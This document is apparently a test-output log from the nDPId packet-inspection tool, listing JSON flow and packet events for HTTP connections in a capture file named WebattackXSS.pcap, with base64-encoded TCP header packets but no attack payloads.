+00444{"flow_id":577,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8179,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347953,"pkt_ts_usec":439522,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhnpvVsdUYUxQy6AScSDElQAAAgQFtAQCCAoD5nwJATyqlQEDAwc="} +00432{"flow_id":577,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8180,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347953,"pkt_ts_usec":440248,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+mBAAD4Gy3esEAABwKgKMoZ6AFBhTFDLb1bHVYAQAOVjnQAAAQEICgE8qpUD5nwJ"} +00432{"flow_id":574,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8184,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347953,"pkt_ts_usec":885626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EvtAAD4Gst2sEAABwKgKMoZEAFDGn7d4RljrNoARAOWhhgAAAQEICgE8qwQD5ncC"} +00432{"flow_id":574,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8185,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347953,"pkt_ts_usec":885886,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0l05AAEAGLIrAqAoyrBAAAQBQhkRGWOs2xp+3eYARAOOcEQAAAQEICgPmfHgBPKsE"} +00432{"flow_id":574,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8186,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347953,"pkt_ts_usec":886613,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EvxAAD4GstysEAABwKgKMoZEAFDGn7d5RljrN4AQAOWcDwAAAQEICgE8qwQD5nx4"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8190,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":578,"flow_packet_id":1,"flow_first_seen":1499347954738,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34440,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":578,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8190,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347954,"pkt_ts_usec":738523,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8a+xAAD4GWeSsEAABwKgKMoaIAFCY\/8A1AAAAAKACchDR4AAAAgQFtAQCCAoBPKvZAAAAAAEDAwc="} +00447{"flow_id":578,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8191,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347954,"pkt_ts_usec":738618,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhoh\/\/ieLmP\/ANqAScSCqAQAAAgQFtAQCCAoD5n1OATyr2QEDAwc="} +00434{"flow_id":578,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347954,"pkt_ts_usec":739399,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0a+1AAD4GWeusEAABwKgKMoaIAFCY\/8A2f\/4njIAQAOVJCAAAAQEICgE8q9oD5n1O"} +00433{"flow_id":575,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8196,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347954,"pkt_ts_usec":885431,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QMVAAD4GhROsEAABwKgKMoZSAFBj7eYTCbl0a4ARAOWGvAAAAQEICgE8q\/4D5nhG"} +00433{"flow_id":575,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8197,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347954,"pkt_ts_usec":885640,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0CRlAAEAGur\/AqAoyrBAAAQBQhlIJuXRrY+3mFIARAOOBkQAAAQEICgPmfXIBPKv+"} +00433{"flow_id":575,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8198,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347954,"pkt_ts_usec":886192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QMZAAD4GhRKsEAABwKgKMoZSAFBj7eYUCbl0bIAQAOWBjwAAAQEICgE8q\/4D5n1y"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8208,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":579,"flow_packet_id":1,"flow_first_seen":1499347957282,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34466,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":579,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8208,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347957,"pkt_ts_usec":282969,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82nJAAD4G612sEAABwKgKMoaiAFCv93QkAAAAAKACchAEYwAAAgQFtAQCCAoBPK5WAAAAAAEDAwc="} +00446{"flow_id":579,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8209,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347957,"pkt_ts_usec":283121,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhqLwUjy4r\/d0JaAScSBUhgAAAgQFtAQCCAoD5n\/KATyuVgEDAwc="} +00433{"flow_id":579,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8210,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347957,"pkt_ts_usec":283847,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02nNAAD4G62SsEAABwKgKMoaiAFCv93Ql8FI8uYAQAOXzjQAAAQEICgE8rlYD5n\/K"} +00433{"flow_id":576,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8214,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347957,"pkt_ts_usec":886156,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SuBAAD4GevisEAABwKgKMoZsAFCk\/OOMDR3DX4ARAOXwUAAAAQEICgE8ruwD5nrJ"} +00432{"flow_id":576,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8215,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347957,"pkt_ts_usec":886376,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Qz9AAEAGgJnAqAoyrBAAAQBQhmwNHcNfpPzjjYARAOPqugAAAQEICgPmgGABPK7s"} +00433{"flow_id":576,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8216,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347957,"pkt_ts_usec":887123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SuFAAD4GevesEAABwKgKMoZsAFCk\/OONDR3DYIAQAOXqtwAAAQEICgE8ru0D5oBg"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":539,"flow_packet_id":6,"flow_first_seen":1499347883693,"flow_last_seen":1499347888870,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33702,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":539,"flow_packet_id":6,"flow_first_seen":1499347883693,"flow_last_seen":1499347888870,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33702,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":540,"flow_packet_id":6,"flow_first_seen":1499347886296,"flow_last_seen":1499347891872,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33728,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":540,"flow_packet_id":6,"flow_first_seen":1499347886296,"flow_last_seen":1499347891872,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33728,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":541,"flow_packet_id":6,"flow_first_seen":1499347887572,"flow_last_seen":1499347892872,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33742,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":541,"flow_packet_id":6,"flow_first_seen":1499347887572,"flow_last_seen":1499347892872,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33742,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":542,"flow_packet_id":6,"flow_first_seen":1499347890192,"flow_last_seen":1499347895873,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33768,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":542,"flow_packet_id":6,"flow_first_seen":1499347890192,"flow_last_seen":1499347895873,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33768,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":543,"flow_packet_id":6,"flow_first_seen":1499347891536,"flow_last_seen":1499347896874,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33782,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":543,"flow_packet_id":6,"flow_first_seen":1499347891536,"flow_last_seen":1499347896874,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33782,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8221,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":580,"flow_packet_id":1,"flow_first_seen":1499347958588,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34480,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":580,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8221,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347958,"pkt_ts_usec":588448,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iDdAAD4GPZmsEAABwKgKMoawAFCTxierAAAAAKACchBruQAAAgQFtAQCCAoBPK+cAAAAAAEDAwc="} +00444{"flow_id":580,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8222,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347958,"pkt_ts_usec":588567,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhrCsuJaMk8YnrKAScSCkXAAAAgQFtAQCCAoD5oEQATyvnAEDAwc="} +00432{"flow_id":580,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8223,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347958,"pkt_ts_usec":589331,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iDhAAD4GPaCsEAABwKgKMoawAFCTxiesrLiWjYAQAOVDZAAAAQEICgE8r5wD5oEQ"} +00432{"flow_id":577,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8226,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347958,"pkt_ts_usec":886168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+mFAAD4Gy3asEAABwKgKMoZ6AFBhTFDLb1bHVYARAOVeSwAAAQEICgE8r+YD5nwJ"} +00433{"flow_id":577,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8227,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347958,"pkt_ts_usec":886419,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Rg9AAEAGfcnAqAoyrBAAAQBQhnpvVsdVYUxQzIARAONY+wAAAQEICgPmgVoBPK\/m"} +00432{"flow_id":577,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8228,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347958,"pkt_ts_usec":887127,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+mJAAD4Gy3WsEAABwKgKMoZ6AFBhTFDMb1bHVoAQAOVY+AAAAQEICgE8r+cD5oFa"} +00434{"flow_id":578,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8235,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347959,"pkt_ts_usec":886680,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0a+5AAD4GWeqsEAABwKgKMoaIAFCY\/8A2f\/4njIARAOVEAQAAAQEICgE8sOAD5n1O"} +00436{"flow_id":578,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8236,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347959,"pkt_ts_usec":886838,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pdlAAEAGHf\/AqAoyrBAAAQBQhoh\/\/ieMmP\/AN4ARAOM++wAAAQEICgPmglUBPLDg"} +00434{"flow_id":578,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8237,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347959,"pkt_ts_usec":887617,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0a+9AAD4GWemsEAABwKgKMoaIAFCY\/8A3f\/4njYAQAOU++AAAAQEICgE8sOED5oJV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8242,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":581,"flow_packet_id":1,"flow_first_seen":1499347961167,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34506,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":581,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8242,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347961,"pkt_ts_usec":167399,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8lndAAD4GL1msEAABwKgKMobKAFDSZyRWAAAAAKACchAtzgAAAgQFtAQCCAoBPLIhAAAAAAEDAwc="} +00444{"flow_id":581,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8243,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347961,"pkt_ts_usec":167495,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhsp1SlCg0mckV6AScSDhRgAAAgQFtAQCCAoD5oOVATyyIQEDAwc="} +00432{"flow_id":581,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8244,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347961,"pkt_ts_usec":168256,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lnhAAD4GL2CsEAABwKgKMobKAFDSZyRXdUpQoYAQAOWATgAAAQEICgE8siED5oOV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8250,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":582,"flow_packet_id":1,"flow_first_seen":1499347962480,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34520,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":582,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8250,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347962,"pkt_ts_usec":480121,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8OwpAAD4GisasEAABwKgKMobYAFAZTIhjAAAAAKACchCBhgAAAgQFtAQCCAoBPLNpAAAAAAEDAwc="} +00444{"flow_id":582,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8251,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347962,"pkt_ts_usec":480261,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhtjOuip1GUyIZKAScSAAcgAAAgQFtAQCCAoD5oTdATyzaQEDAwc="} +00432{"flow_id":582,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8252,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347962,"pkt_ts_usec":480984,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OwtAAD4Gis2sEAABwKgKMobYAFAZTIhkzroqdoAQAOWfeQAAAQEICgE8s2kD5oTd"} +00433{"flow_id":579,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8256,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347962,"pkt_ts_usec":886601,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02nRAAD4G62OsEAABwKgKMoaiAFCv93Ql8FI8uYARAOXuEwAAAQEICgE8s88D5n\/K"} +00433{"flow_id":579,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8257,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347962,"pkt_ts_usec":886844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ufpAAEAGCd7AqAoyrBAAAQBQhqLwUjy5r\/d0JoARAOPomwAAAQEICgPmhUMBPLPP"} +00432{"flow_id":579,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8258,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347962,"pkt_ts_usec":887364,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02nVAAD4G62KsEAABwKgKMoaiAFCv93Qm8FI8uoAQAOXomQAAAQEICgE8s88D5oVD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":583,"flow_packet_id":1,"flow_first_seen":1499347963774,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34534,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 